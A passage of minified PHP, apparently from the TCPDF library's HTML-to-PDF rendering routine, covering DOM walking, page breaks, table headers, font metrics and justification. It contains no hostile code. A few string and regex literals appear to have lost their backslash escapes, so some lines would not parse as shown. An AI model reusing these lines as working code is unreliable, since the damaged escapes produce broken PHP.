{$this->listindent=$this->GetStringWidth('000000');}$this->listindentlevel=0;$prev_cell_height_ratio=$this->cell_height_ratio;$prev_listnum=$this->listnum;$prev_listordered=$this->listordered;$prev_listcount=$this->listcount;$prev_lispacer=$this->lispacer;$this->listnum=0;$this->listordered=array();$this->listcount=array();$this->lispacer='';if((TCPDF_STATIC::empty_string($this->lasth)) OR ($reseth)){$this->resetLastH();}$dom=$this->getHtmlDomArray($html);$maxel=count($dom);$key=0;while($key<$maxel){if($dom[$key]['tag'] AND $dom[$key]['opening'] AND $dom[$key]['hide']){$hidden_node_key=$key;if($dom[$key]['self']){++$key;}else {while(($key<$maxel) AND (!$dom[$key]['tag'] OR $dom[$key]['opening'] OR ($dom[$key]['parent']!=$hidden_node_key))){++$key;}++$key;}}if($dom[$key]['tag'] AND isset($dom[$key]['attribute']['pagebreak'])){if(($dom[$key]['attribute']['pagebreak']=='true') OR ($dom[$key]['attribute']['pagebreak']=='left') OR ($dom[$key]['attribute']['pagebreak']=='right')){$this->checkPageBreak($this->PageBreakTrigger+1);$this->htmlvspace=($this->PageBreakTrigger+1);}if((($dom[$key]['attribute']['pagebreak']=='left') AND (((!$this->rtl) AND (($this->page%2)==0)) OR (($this->rtl) AND (($this->page%2)!=0)))) OR (($dom[$key]['attribute']['pagebreak']=='right') AND (((!$this->rtl) AND (($this->page%2)!=0)) OR (($this->rtl) AND (($this->page%2)==0))))){$this->checkPageBreak($this->PageBreakTrigger+1);$this->htmlvspace=($this->PageBreakTrigger+1);}}if($dom[$key]['tag'] AND $dom[$key]['opening'] AND isset($dom[$key]['attribute']['nobr']) AND ($dom[$key]['attribute']['nobr']=='true')){if(isset($dom[($dom[$key]['parent'])]['attribute']['nobr']) AND ($dom[($dom[$key]['parent'])]['attribute']['nobr']=='true')){$dom[$key]['attribute']['nobr']=false;}else {$this->startTransaction();$this_method_vars['html']=$html;$this_method_vars['ln']=$ln;$this_method_vars['fill']=$fill;$this_method_vars['reseth']=$reseth;$this_method_vars['cell']=$cell;$this_method_vars['align']=$align;$this_method_vars['gvars']=$gvars;$this_method_vars['prevPage']=$prevPage;$this_method_vars['prev_cell_margin']=$prev_cell_margin;$this_method_vars['prev_cell_padding']=$prev_cell_padding;$this_method_vars['prevlMargin']=$prevlMargin;$this_method_vars['prevrMargin']=$prevrMargin;$this_method_vars['curfontname']=$curfontname;$this_method_vars['curfontstyle']=$curfontstyle;$this_method_vars['curfontsize']=$curfontsize;$this_method_vars['curfontascent']=$curfontascent;$this_method_vars['curfontdescent']=$curfontdescent;$this_method_vars['curfontstretcing']=$curfontstretcing;$this_method_vars['curfonttracking']=$curfonttracking;$this_method_vars['minstartliney']=$minstartliney;$this_method_vars['maxbottomliney']=$maxbottomliney;$this_method_vars['yshift']=$yshift;$this_method_vars['startlinepage']=$startlinepage;$this_method_vars['startlinepos']=$startlinepos;$this_method_vars['startlinex']=$startlinex;$this_method_vars['startliney']=$startliney;$this_method_vars['newline']=$newline;$this_method_vars['loop']=$loop;$this_method_vars['curpos']=$curpos;$this_method_vars['pask']=$pask;$this_method_vars['lalign']=$lalign;$this_method_vars['plalign']=$plalign;$this_method_vars['w']=$w;$this_method_vars['prev_cell_height_ratio']=$prev_cell_height_ratio;$this_method_vars['prev_listnum']=$prev_listnum;$this_method_vars['prev_listordered']=$prev_listordered;$this_method_vars['prev_listcount']=$prev_listcount;$this_method_vars['prev_lispacer']=$prev_lispacer;$this_method_vars['fontaligned']=$fontaligned;$this_method_vars['key']=$key;$this_method_vars['dom']=$dom;}}if(($dom[$key]['value']=='tr') AND isset($dom[$key]['thead']) AND $dom[$key]['thead']){if(isset($dom[$key]['parent']) AND isset($dom[$dom[$key]['parent']]['thead']) AND !TCPDF_STATIC::empty_string($dom[$dom[$key]['parent']]['thead'])){$this->inthead=true;$this->writeHTML($this->thead,false,false,false,false,'');if(($this->y<$this->start_transaction_y) OR ($this->checkPageBreak($this->lasth,'',false))){$this->rollbackTransaction(true);foreach($this_method_vars as $vkey=>$vval){$$vkey=$vval;}$tmp_thead=$this->thead;$this->thead='';$pre_y=$this->y;if((!$this->checkPageBreak($this->PageBreakTrigger+1)) AND ($this->y<$pre_y)){$startliney=$this->y;}$this->start_transaction_page=$this->page;$this->start_transaction_y=$this->y;$this->thead=$tmp_thead;if(isset($dom[$dom[$key]['parent']]['attribute']['cellspacing'])){$tmp_cellspacing=$this->getHTMLUnitToUnits($dom[$dom[$key]['parent']]['attribute']['cellspacing'],1,'px');}elseif(isset($dom[$dom[$key]['parent']]['border-spacing'])){$tmp_cellspacing=$dom[$dom[$key]['parent']]['border-spacing']['V'];}else {$tmp_cellspacing=0;}$dom[$dom[$key]['parent']]['borderposition']['page']=$this->page;$dom[$dom[$key]['parent']]['borderposition']['column']=$this->current_column;$dom[$dom[$key]['parent']]['borderposition']['y']=$this->y+$tmp_cellspacing;$xoffset=($this->x-$dom[$dom[$key]['parent']]['borderposition']['x']);$dom[$dom[$key]['parent']]['borderposition']['x']+=$xoffset;$dom[$dom[$key]['parent']]['borderposition']['xmax']+=$xoffset;$this->writeHTML($this->thead,false,false,false,false,'');}}while(($key<$maxel) AND (!(($dom[$key]['tag'] AND $dom[$key]['opening'] AND ($dom[$key]['value']=='tr') AND (!isset($dom[$key]['thead']) OR !$dom[$key]['thead'])) OR ($dom[$key]['tag'] AND (!$dom[$key]['opening']) AND ($dom[$key]['value']=='table'))))){++$key;}}if($dom[$key]['tag'] OR ($key==0)){if((($dom[$key]['value']=='table') OR ($dom[$key]['value']=='tr')) AND (isset($dom[$key]['align']))){$dom[$key]['align']=($this->rtl)?'R':'L';}if((!$this->newline) AND ($dom[$key]['value']=='img') AND (isset($dom[$key]['height'])) AND ($dom[$key]['height']>0)){$imgh=$this->getHTMLUnitToUnits($dom[$key]['height'],($dom[$key]['fontsize']/$this->k),'px');$autolinebreak=false;if(!empty($dom[$key]['width'])){$imgw=$this->getHTMLUnitToUnits($dom[$key]['width'],($dom[$key]['fontsize']/$this->k),'px',false);if(($imgw<=($this->w-$this->lMargin-$this->rMargin-$this->cell_padding['L']-$this->cell_padding['R'])) AND ((($this->rtl) AND (($this->x-$imgw)<($this->lMargin+$this->cell_padding['L']))) OR ((!$this->rtl) AND (($this->x+$imgw)>($this->w-$this->rMargin-$this->cell_padding['R']))))){$autolinebreak=true;$this->Ln('',$cell);if((!$dom[($key-1)]['tag']) AND ($dom[($key-1)]['value']==' ')){--$key;}}}if(!$autolinebreak){if($this->inPageBody()){$pre_y=$this->y;if((!$this->checkPageBreak($imgh)) AND ($this->y<$pre_y)){$startliney=$this->y;}}if($this->page>$startlinepage){if(isset($this->footerlen[$startlinepage])){$curpos=$this->pagelen[$startlinepage]-$this->footerlen[$startlinepage];}$pagebuff=$this->getPageBuffer($startlinepage);$linebeg=substr($pagebuff,$startlinepos,($curpos-$startlinepos));$tstart=substr($pagebuff,0,$startlinepos);$tend=substr($this->getPageBuffer($startlinepage),$curpos);$this->setPageBuffer($startlinepage,$tstart.''.$tend);$pagebuff=$this->getPageBuffer($this->page);$tstart=substr($pagebuff,0,$this->cntmrk[$this->page]);$tend=substr($pagebuff,$this->cntmrk[$this->page]);$yshift=($minstartliney-$this->y);if($fontaligned){$yshift+=($curfontsize/$this->k);}$try=sprintf('1 0 0 1 0 %F cm',($yshift*$this->k));$this->setPageBuffer($this->page,$tstart."
q
".$try."
".$linebeg."
Q
".$tend);if(isset($this->PageAnnots[$this->page])){$next_pask=count($this->PageAnnots[$this->page]);}else {$next_pask=0;}if(isset($this->PageAnnots[$startlinepage])){foreach($this->PageAnnots[$startlinepage] as $pak=>$pac){if($pak>=$pask){$this->PageAnnots[$this->page][]=$pac;unset($this->PageAnnots[$startlinepage][$pak]);$npak=count($this->PageAnnots[$this->page])-1;$this->PageAnnots[$this->page][$npak]['y']-=$yshift;}}}$pask=$next_pask;$startlinepos=$this->cntmrk[$this->page];$startlinepage=$this->page;$startliney=$this->y;$this->newline=false;}$this->y+=($this->getCellHeight($curfontsize/$this->k)-($curfontdescent*$this->cell_height_ratio)-$imgh);$minstartliney=min($this->y,$minstartliney);$maxbottomliney=($startliney+$this->getCellHeight($curfontsize/$this->k));}}elseif(isset($dom[$key]['fontname']) OR isset($dom[$key]['fontstyle']) OR isset($dom[$key]['fontsize']) OR isset($dom[$key]['line-height'])){$pfontname=$curfontname;$pfontstyle=$curfontstyle;$pfontsize=$curfontsize;$fontname=(isset($dom[$key]['fontname'])?$dom[$key]['fontname']:$curfontname);$fontstyle=(isset($dom[$key]['fontstyle'])?$dom[$key]['fontstyle']:$curfontstyle);$fontsize=(isset($dom[$key]['fontsize'])?$dom[$key]['fontsize']:$curfontsize);$fontascent=$this->getFontAscent($fontname,$fontstyle,$fontsize);$fontdescent=$this->getFontDescent($fontname,$fontstyle,$fontsize);if(($fontname!=$curfontname) OR ($fontstyle!=$curfontstyle) OR ($fontsize!=$curfontsize) OR ($this->cell_height_ratio!=$dom[$key]['line-height']) OR ($dom[$key]['tag'] AND $dom[$key]['opening'] AND ($dom[$key]['value']=='li'))){if(($key<($maxel-1)) AND (($dom[$key]['tag'] AND $dom[$key]['opening'] AND ($dom[$key]['value']=='li')) OR ($this->cell_height_ratio!=$dom[$key]['line-height']) OR (!$this->newline AND is_numeric($fontsize) AND is_numeric($curfontsize) AND ($fontsize>=0) AND ($curfontsize>=0) AND (($fontsize!=$curfontsize) OR ($fontstyle!=$curfontstyle) OR ($fontname!=$curfontname))))){if($this->page>$startlinepage){if(isset($this->footerlen[$startlinepage])){$curpos=$this->pagelen[$startlinepage]-$this->footerlen[$startlinepage];}$pagebuff=$this->getPageBuffer($startlinepage);$linebeg=substr($pagebuff,$startlinepos,($curpos-$startlinepos));$tstart=substr($pagebuff,0,$startlinepos);$tend=substr($this->getPageBuffer($startlinepage),$curpos);$this->setPageBuffer($startlinepage,$tstart.''.$tend);$pagebuff=$this->getPageBuffer($this->page);$tstart=substr($pagebuff,0,$this->cntmrk[$this->page]);$tend=substr($pagebuff,$this->cntmrk[$this->page]);$yshift=($minstartliney-$this->y);$try=sprintf('1 0 0 1 0 %F cm',($yshift*$this->k));$this->setPageBuffer($this->page,$tstart."
q
".$try."
".$linebeg."
Q
".$tend);if(isset($this->PageAnnots[$this->page])){$next_pask=count($this->PageAnnots[$this->page]);}else {$next_pask=0;}if(isset($this->PageAnnots[$startlinepage])){foreach($this->PageAnnots[$startlinepage] as $pak=>$pac){if($pak>=$pask){$this->PageAnnots[$this->page][]=$pac;unset($this->PageAnnots[$startlinepage][$pak]);$npak=count($this->PageAnnots[$this->page])-1;$this->PageAnnots[$this->page][$npak]['y']-=$yshift;}}}$pask=$next_pask;$startlinepos=$this->cntmrk[$this->page];$startlinepage=$this->page;$startliney=$this->y;}if(!isset($dom[$key]['line-height'])){$dom[$key]['line-height']=$this->cell_height_ratio;}if(!$dom[$key]['block']){if(!(isset($dom[($key+1)]) AND $dom[($key+1)]['tag'] AND (!$dom[($key+1)]['opening']) AND ($dom[($key+1)]['value']!='li') AND $dom[$key]['tag'] AND (!$dom[$key]['opening']))){$this->y+=(((($curfontsize*$this->cell_height_ratio)-($fontsize*$dom[$key]['line-height']))/$this->k)+$curfontascent-$fontascent-$curfontdescent+$fontdescent)/2;}if(($dom[$key]['value']!='sup') AND ($dom[$key]['value']!='sub')){$current_line_align_data=array($key,$minstartliney,$maxbottomliney);if(isset($line_align_data) AND (($line_align_data[0]==($key-1)) OR (($line_align_data[0]==($key-2)) AND (isset($dom[($key-1)])) AND (preg_match('/^([\s]+)$/',$dom[($key-1)]['value'])>0)))){$minstartliney=min($this->y,$line_align_data[1]);$maxbottomliney=max(($this->y+$this->getCellHeight($fontsize/$this->k)),$line_align_data[2]);}else {$minstartliney=min($this->y,$minstartliney);$maxbottomliney=max(($this->y+$this->getCellHeight($fontsize/$this->k)),$maxbottomliney);}$line_align_data=$current_line_align_data;}}$this->cell_height_ratio=$dom[$key]['line-height'];$fontaligned=true;}$this->SetFont($fontname,$fontstyle,$fontsize);$this->resetLastH();$curfontname=$fontname;$curfontstyle=$fontstyle;$curfontsize=$fontsize;$curfontascent=$fontascent;$curfontdescent=$fontdescent;}}$textstroke=isset($dom[$key]['stroke'])?$dom[$key]['stroke']:$this->textstrokewidth;$textfill=isset($dom[$key]['fill'])?$dom[$key]['fill']:(($this->textrendermode%2)==0);$textclip=isset($dom[$key]['clip'])?$dom[$key]['clip']:($this->textrendermode>3);$this->setTextRenderingMode($textstroke,$textfill,$textclip);if(isset($dom[$key]['font-stretch']) AND ($dom[$key]['font-stretch']!==false)){$this->setFontStretching($dom[$key]['font-stretch']);}if(isset($dom[$key]['letter-spacing']) AND ($dom[$key]['letter-spacing']!==false)){$this->setFontSpacing($dom[$key]['letter-spacing']);}if(($plalign=='J') AND $dom[$key]['block']){$plalign='';}$curpos=$this->pagelen[$startlinepage];if(isset($dom[$key]['bgcolor']) AND ($dom[$key]['bgcolor']!==false)){$this->SetFillColorArray($dom[$key]['bgcolor']);$wfill=true;}else {$wfill=$fill|false;}if(isset($dom[$key]['fgcolor']) AND ($dom[$key]['fgcolor']!==false)){$this->SetTextColorArray($dom[$key]['fgcolor']);}if(isset($dom[$key]['strokecolor']) AND ($dom[$key]['strokecolor']!==false)){$this->SetDrawColorArray($dom[$key]['strokecolor']);}if(isset($dom[$key]['align'])){$lalign=$dom[$key]['align'];}if(TCPDF_STATIC::empty_string($lalign)){$lalign=$align;}}if($this->newline AND (strlen($dom[$key]['value'])>0) AND ($dom[$key]['value']!='td') AND ($dom[$key]['value']!='th')){$newline=true;$fontaligned=false;if(isset($startlinex)){$yshift=($minstartliney-$startliney);if(($yshift>0) OR ($this->page>$startlinepage)){$yshift=0;}$t_x=0;$linew=abs($this->endlinex-$startlinex);if($this->inxobj){$pstart=substr($this->xobjects[$this->xobjid]['outdata'],0,$startlinepos);if(isset($opentagpos)){$midpos=$opentagpos;}else {$midpos=0;}if($midpos>0){$pmid=substr($this->xobjects[$this->xobjid]['outdata'],$startlinepos,($midpos-$startlinepos));$pend=substr($this->xobjects[$this->xobjid]['outdata'],$midpos);}else {$pmid=substr($this->xobjects[$this->xobjid]['outdata'],$startlinepos);$pend='';}}else {$pstart=substr($this->getPageBuffer($startlinepage),0,$startlinepos);if(isset($opentagpos) AND isset($this->footerlen[$startlinepage]) AND (!$this->InFooter)){$this->footerpos[$startlinepage]=$this->pagelen[$startlinepage]-$this->footerlen[$startlinepage];$midpos=min($opentagpos,$this->footerpos[$startlinepage]);}elseif(isset($opentagpos)){$midpos=$opentagpos;}elseif(isset($this->footerlen[$startlinepage]) AND (!$this->InFooter)){$this->footerpos[$startlinepage]=$this->pagelen[$startlinepage]-$this->footerlen[$startlinepage];$midpos=$this->footerpos[$startlinepage];}else {$midpos=0;}if($midpos>0){$pmid=substr($this->getPageBuffer($startlinepage),$startlinepos,($midpos-$startlinepos));$pend=substr($this->getPageBuffer($startlinepage),$midpos);}else {$pmid=substr($this->getPageBuffer($startlinepage),$startlinepos);$pend='';}}if((isset($plalign) AND ((($plalign=='C') OR ($plalign=='J') OR (($plalign=='R') AND (!$this->rtl)) OR (($plalign=='L') AND ($this->rtl)))))){$tw=$w;if(($plalign=='J') AND $this->isRTLTextDir() AND ($this->num_columns>1)){$tw+=$this->cell_padding['R'];}if($this->lMargin!=$prevlMargin){$tw+=($prevlMargin-$this->lMargin);}if($this->rMargin!=$prevrMargin){$tw+=($prevrMargin-$this->rMargin);}$one_space_width=$this->GetStringWidth(chr(32));$no=0;if($this->isRTLTextDir()){$pos1=TCPDF_STATIC::revstrpos($pmid,'[(');if($pos1>0){$pos1=intval($pos1);if($this->isUnicodeFont()){$pos2=intval(TCPDF_STATIC::revstrpos($pmid,'[('.chr(0).chr(32)));$spacelen=2;}else {$pos2=intval(TCPDF_STATIC::revstrpos($pmid,'[('.chr(32)));$spacelen=1;}if($pos1==$pos2){$pmid=substr($pmid,0,($pos1+2)).substr($pmid,($pos1+2+$spacelen));if(substr($pmid,$pos1,4)=='[()]'){$linew-=$one_space_width;}elseif($pos1==strpos($pmid,'[(')){$no=1;}}}}else {$pos1=TCPDF_STATIC::revstrpos($pmid,')]');if($pos1>0){$pos1=intval($pos1);if($this->isUnicodeFont()){$pos2=intval(TCPDF_STATIC::revstrpos($pmid,chr(0).chr(32).')]'))+2;$spacelen=2;}else {$pos2=intval(TCPDF_STATIC::revstrpos($pmid,chr(32).')]'))+1;$spacelen=1;}if($pos1==$pos2){$pmid=substr($pmid,0,($pos1-$spacelen)).substr($pmid,$pos1);$linew-=$one_space_width;}}}$mdiff=($tw-$linew);if($plalign=='C'){if($this->rtl){$t_x=-($mdiff/2);}else {$t_x=($mdiff/2);}}elseif($plalign=='R'){$t_x=$mdiff;}elseif($plalign=='L'){$t_x=-$mdiff;}elseif(($plalign=='J') AND ($plalign==$lalign)){if($this->isRTLTextDir()){$t_x=-$mdiff;}$ns=0;$pmidtemp=$pmid;$pmidtemp=preg_replace('/[\][\(]/x','\#!#OP#!#',$pmidtemp);$pmidtemp=preg_replace('/[\][\)]/x','\#!#CP#!#',$pmidtemp);if(preg_match_all('/\[\(([^\)]*)\)\]/x',$pmidtemp,$lnstring,PREG_PATTERN_ORDER)){$spacestr=$this->getSpaceString();$maxkk=count($lnstring[1])-1;for($kk=0;$kk<=$maxkk;++$kk){$lnstring[1][$kk]=str_replace('#!#OP#!#','(',$lnstring[1][$kk]);$lnstring[1][$kk]=str_replace('#!#CP#!#',')',$lnstring[1][$kk]);$lnstring[2][$kk]=substr_count($lnstring[1][$kk],$spacestr);$ns+=$lnstring[2][$kk];$lnstring[3][$kk]=$ns;}if($ns==0){$ns=1;}$spacewidth=($mdiff/($ns-$no))*$this->k;if($this->FontSize<=0){$this->FontSize=1;}$spacewidthu=-1000*($mdiff+(($ns+$no)*$one_space_width))/$ns/$this->FontSize;if($this->font_spacing!=0){$osw=-1000*$this->font_spacing/$this->FontSize;$spacewidthu+=$osw;}$nsmax=$ns;$ns=0;reset($lnstring);$offset=0;$strcount=0;$prev_epsposbeg=0;$textpos=0;if($this->isRTLTextDir()){$textpos=$this->wPt;}while(preg_match('/([0-9\.\+\-]*)[\s](Td|cm|m|l|c|re)[\s]/x',$pmid,$strpiece,PREG_OFFSET_CAPTURE,$offset)==1){$stroffset=strpos($pmid,'[(',$offset);if(($stroffset!==false) AND ($stroffset<=$strpiece[2][1])){$offset=strpos($pmid,')]',$stroffset);while(($offset!==false) AND ($pmid[($offset-1)]=='\')){$offset=strpos($pmid,')]',($offset+1));}if($offset===false){$this->Error('HTML Justification: malformed PDF code.');}continue;}if($this->isRTLTextDir()){$spacew=($spacewidth*($nsmax-$ns));}else {$spacew=($spacewidth*$ns);}$offset=$strpiece[2][1]+strlen($strpiece[2][0]);$epsposend=strpos($pmid,$this->epsmarker.'Q',$offset);if($epsposend!==null){$epsposend+=strlen($this->epsmarker.'Q');$epsposbeg=strpos($pmid,'q'.$this->epsmarker,$offset);if($epsposbeg===null){$epsposbeg=strpos($pmid,'q'.$this->epsmarker,($prev_epsposbeg-6));$prev_epsposbeg=$epsposbeg;}if(($epsposbeg>0) AND ($epsposend>0) AND ($offset>$epsposbeg) AND ($offset<$epsposend)){$trx=sprintf('1 0 0 1 %F 0 cm',$spacew);$pmid_b=substr($pmid,0,$epsposbeg);$pmid_m=substr($pmid,$epsposbeg,($epsposend-$epsposbeg));$pmid_e=substr($pmid,$epsposend);$pmid=$pmid_b."
q
".$trx."
".$pmid_m."
Q
".$pmid_e;$offset=$epsposend;continue;}}$currentxpos=0;switch($strpiece[2][0]){case 'Td':case 'cm':case 'm':case 'l':{preg_match('/([0-9\.\+\-]*)[\s]('.$strpiece[1][0].')[\s]('.$strpiece[2][0].')([\s]*)/x',$pmid,$xmatches);if(!isset($xmatches[1])){break;}$currentxpos=$xmatches[1];$textpos=$currentxpos;if(($strcount<=$maxkk) AND ($strpiece[2][0]=='Td')){$ns=$lnstring[3][$strcount];if($this->isRTLTextDir()){$spacew=($spacewidth*($nsmax-$ns));}++$strcount;}if(preg_match('/([0-9\.\+\-]*)[\s]('.$strpiece[1][0].')[\s]('.$strpiece[2][0].')([\s]*)/x',$pmid,$pmatch)==1){$newpmid=sprintf('%F',(floatval($pmatch[1])+$spacew)).' '.$pmatch[2].' x*#!#*x'.$pmatch[3].$pmatch[4];$pmid=str_replace($pmatch[0],$newpmid,$pmid);unset($pmatch,$newpmid);}break;}case 're':{if(!TCPDF_STATIC::empty_string($this->lispacer)){$this->lispacer='';continue;}preg_match('/([0-9\.\+\-]*)[\s]([0-9\.\+\-]*)[\s]([0-9\.\+\-]*)[\s]('.$strpiece[1][0].')[\s](re)([\s]*)/x',$pmid,$xmatches);if(!isset($xmatches[1])){break;}$currentxpos=$xmatches[1];$x_diff=0;$w_diff=0;if($this->isRTLTextDir()){if($currentxpos<$textpos){$x_diff=($spacewidth*($nsmax-$lnstring[3][$strcount]));$w_diff=($spacewidth*$lnstring[2][$strcount]);}else {if($strcount>0){$x_diff=($spacewidth*($nsmax-$lnstring[3][($strcount-1)]));$w_diff=($spacewidth*$lnstring[2][($strcount-1)]);}}}else {if($currentxpos>$textpos){if($strcount>0){$x_diff=($spacewidth*$lnstring[3][($strcount-1)]);}$w_diff=($spacewidth*$lnstring[2][$strcount]);}else {if($strcount>1){$x_diff=($spacewidth*$lnstring[3][($strcount-2)]);}if($strcount>0){$w_diff=($spacewidth*$lnstring[2][($strcount-1)]);}}}if(preg_match('/('.$xmatches[1].')[\s]('.$xmatches[2].')[\s]('.$xmatches[3].')[\s]('.$strpiece[1][0].')[\s](re)([\s]*)/x',$pmid,$pmatch)==1){$newx=sprintf('%F',(floatval($pmatch[1])+$x_diff));$neww=sprintf('%F',(floatval($pmatch[3])+$w_diff));$newpmid=$newx.' '.$pmatch[2].' '.$neww.' '.$pmatch[4].' x*#!#*x'.$pmatch[5].$pmatch[6];$pmid=str_replace($pmatch[0],$newpmid,$pmid);unset($pmatch,$newpmid,$newx,$neww);}break;}case 'c':{preg_match('/([0-9\.\+\-]*)[\s]([0-9\.\+\-]*)[\s]([0-9\.\+\-]*)[\s]([0-9\.\+\-]*)[\s]([0-9\.\+\-]*)[\s]('.$strpiece[1][0].')[\s](c)([\s]*)/x',$pmid,$xmatches);if(!isset($xmatches[1])){break;}$currentxpos=$xmatches[1];if(preg_match('/('.$xmatches[1].')[\s]('.$xmatches[2].')[\s]('.$xmatches[3].')[\s]('.$xmatches[4].')[\s]('.$xmatches[5].')[\s]('.$strpiece[1][0].')[\s](c)([\s]*)/x',$pmid,$pmatch)==1){$newx1=sprintf('%F',(floatval($pmatch[1])+$spacew));$newx2=sprintf('%F',(floatval($pmatch[3])+$spacew));$newx3=sprintf('%F',(floatval($pmatch[5])+$spacew));$newpmid=$newx1.' '.$pmatch[2].' '.$newx2.' '.$pmatch[4].' '.$newx3.' '.$pmatch[6].' x*#!#*x'.$pmatch[7].$pmatch[8];$pmid=str_replace($pmatch[0],$newpmid,$pmid);unset($pmatch,$newpmid,$newx1,$newx2,$newx3);}break;}}$cxpos=($currentxpos/$this->k);$lmpos=($this->lMargin+$this->cell_padding['L']+$this->feps);if($this->inxobj){foreach($this->xobjects[$this->xobjid]['annotations'] as $pak=>$pac){if(($pac['y']>=$minstartliney) AND (($pac['x']*$this->k)>=($currentxpos-$this->feps)) AND (($pac['x']*$this->k)<=($currentxpos+$this->feps))){if($cxpos>$lmpos){$this->xobjects[$this->xobjid]['annotations'][$pak]['x']+=($spacew/$this->k);$this->xobjects[$this->xobjid]['annotations'][$pak]['w']+=(($spacewidth*$pac['numspaces'])/$this->k);}else {$this->xobjects[$this->xobjid]['annotations'][$pak]['w']+=(($spacewidth*$pac['numspaces'])/$this->k);}break;}}}elseif(isset($this->PageAnnots[$this->page])){foreach($this->PageAnnots[$this->page] as $pak=>$pac){if(($pac['y']>=$minstartliney) AND (($pac['x']*$this->k)>=($currentxpos-$this->feps)) AND (($pac['x']*$this->k)<=($currentxpos+$this->feps))){if($cxpos>$lmpos){$this->PageAnnots[$this->page][$pak]['x']+=($spacew/$this->k);$this->PageAnnots[$this->page][$pak]['w']+=(($spacewidth*$pac['numspaces'])/$this->k);}else {$this->PageAnnots[$this->page][$pak]['w']+=(($spacewidth*$pac['numspaces'])/$this->k);}break;}}}}$pmid=str_replace('x*#!#*x','',$pmid);if($this->isUnicodeFont()){$spacew=$spacewidthu;if($this->font_stretching!=100){$spacew/=($this->font_stretching/100);}$pos=0;$pmid=preg_replace('/[\][\(]/x','\#!#OP#!#',$pmid);$pmid=preg_replace('/[\][\)]/x','\#!#CP#!#',$pmid);if(preg_match_all('/\[\(([^\)]*)\)\]/x',$pmid,$pamatch)>0){foreach($pamatch[0] as $pk=>$pmatch){$replace=$pamatch[1][$pk];$replace=str_replace('#!#OP#!#','(',$replace);$replace=str_replace('#!#CP#!#',')',$replace);$newpmid='[('.str_replace(chr(0).chr(32),') '.sprintf('%F',$spacew).' (',$replace).')]';$pos=strpos($pmid,$pmatch,$pos);if($pos!==FALSE){$pmid=substr_replace($pmid,$newpmid,$pos,strlen($pmatch));}++$pos;}unset($pamatch);}if($this->inxobj){$this->xobjects[$this->xobjid]['outdata']=$pstart."
".$pmid."
".$pend;}else {$this->setPageBuffer($startlinepage,$pstart."
".$pmid."
".$pend);}$endlinepos=strlen($pstart."
".$pmid."
");}else {if($this->font_stretching!=100){$spacewidth/=($this->font_stretching/100);}$rs=sprintf('%F Tw',$spacewidth);$pmid=preg_replace("/\[\(/x",$rs.' [(',$pmid);if($this->inxobj){$this->xobjects[$this->xobjid]['outdata']=$pstart."
".$pmid."
BT 0 Tw ET
".$pend;}else {$this->setPageBuffer($startlinepage,$pstart."
".$pmid."
BT 0 Tw ET
".$pend);}$endlinepos=strlen($pstart."
".$pmid."
BT 0 Tw ET
");}}}}if(($t_x!=0) OR ($yshift<0)){$trx=sprintf('1 0 0 1 %F %F cm',($t_x*$this->k),($yshift*$this->k));$pstart.="
q
".$trx."
".$pmid."
Q
";$endlinepos=strlen($pstart);if($this->inxobj){$this->xobjects[$this->xobjid]['outdata']=$pstart.$pend;foreach($this->xobjects[$this->xobjid]['annotations'] as $pak=>$pac){if($pak>=$pask){$this->xobjects[$this->xobjid]['annotations'][$pak]['x']+=$t_x;$this->xobjects[$this->xobjid]['annotations'][$pak]['y']-=$yshift;}}}else {$this->setPageBuffer($startlinepage,$pstart.$pend);if(isset($this->PageAnnots[$this->page])){foreach($this->PageAnnots[$this->page] as $pak=>$pac){if($pak>=$pask){$this->PageAnnots[$this->page][$pak]['x']+=$t_x;$this->PageAnnots[$this->page][$pak]['y']-=$yshift;}}}}$this->y-=$yshift;}}$pbrk=$this->checkPageBreak($this->lasth);$this->newline=false;$startlinex=$this->x;$startliney=$this->y;if($dom[$dom[$key]['parent']]['value']=='sup'){$startliney-=((0.3*$this->FontSizePt)/$this->k);}elseif($dom[$dom[$key]['parent']]['value']=='sub'){$startliney-=(($this->FontSizePt/0.7)/$this->k);}else {$minstartliney=$startliney;$maxbottomliney=($this->y+$this->getCellHeight($fontsize/$this->k));}$startlinepage=$this->page;if(isset($endlinepos) AND (!$pbrk)){$startlinepos=$endlinepos;}else {if($this->inxobj){$startlinepos=strlen($this->xobjects[$this->xobjid]['outdata']);}elseif(!$this->InFooter){if(isset($this->footerlen[$this->page])){$this->footerpos[$this->page]=$this->pagelen[$this->page]-$this->footerlen[$this->page];}else {$this->footerpos[$this->page]=$this->pagelen[$this->page];}$startlinepos=$this->footerpos[$this->page];}else {$startlinepos=$this->pagelen[$this->page];}}unset($endlinepos);$plalign=$lalign;if(isset($this->PageAnnots[$this->page])){$pask=count($this->PageAnnots[$this->page]);}else {$pask=0;}if(!($dom[$key]['tag'] AND !$dom[$key]['opening'] AND ($dom[$key]['value']=='table') AND (isset($this->emptypagemrk[$this->page])) AND ($this->emptypagemrk[$this->page]==$this->pagelen[$this->page]))){$this->SetFont($fontname,$fontstyle,$fontsize);if($wfill){$this->SetFillColorArray($this->bgcolor);}}}if(isset($opentagpos)){unset($opentagpos);}if($dom[$key]['tag']){if($dom[$key]['opening']){if(isset($dom[$key]['text-indent']) AND $dom[$key]['block']){$this->textindent=$dom[$key]['text-indent'];$this->newline=true;}if(($dom[$key]['value']=='table') AND isset($dom[$key]['cols']) AND ($dom[$key]['cols']>0)){if($this->rtl){$wtmp=$this->x-$this->lMargin;}else {$wtmp=$this->w-$this->rMargin-$this->x;}if(isset($dom[$key]['attribute']['cellspacing'])){$clsp=$this->getHTMLUnitToUnits($dom[$key]['attribute']['cellspacing'],1,'px');$cellspacing=array('H'=>$clsp,'V'=>$clsp);}elseif(isset($dom[$key]['border-spacing'])){$cellspacing=$dom[$key]['border-spacing'];}else {$cellspacing=array('H'=>0,'V'=>0);}if(isset($dom[$key]['width'])){$table_width=$this->getHTMLUnitToUnits($dom[$key]['width'],$wtmp,'px');}else {$table_width=$wtmp;}$table_width-=(2*$cellspacing['H']);if(!$this->inthead){$this->y+=$cellspacing['V'];}if($this->rtl){$cellspacingx=-$cellspacing['H'];}else {$cellspacingx=$cellspacing['H'];}$table_columns_width=($table_width-($cellspacing['H']*($dom[$key]['cols']-1)));$table_min_column_width=($table_columns_width/$dom[$key]['cols']);$table_colwidths=array_fill(0,$dom[$key]['cols'],$table_min_column_width);}if($dom[$key]['value']=='tr'){$colid=0;}if(($dom[$key]['value']=='td') OR ($dom[$key]['value']=='th')){$trid=$dom[$key]['parent'];$table_el=$dom[$trid]['parent'];if(!isset($dom[$table_el]['cols'])){$dom[$table_el]['cols']=$dom[$trid]['cols'];}$tdborder=0;if(isset($dom[$key]['border']) AND 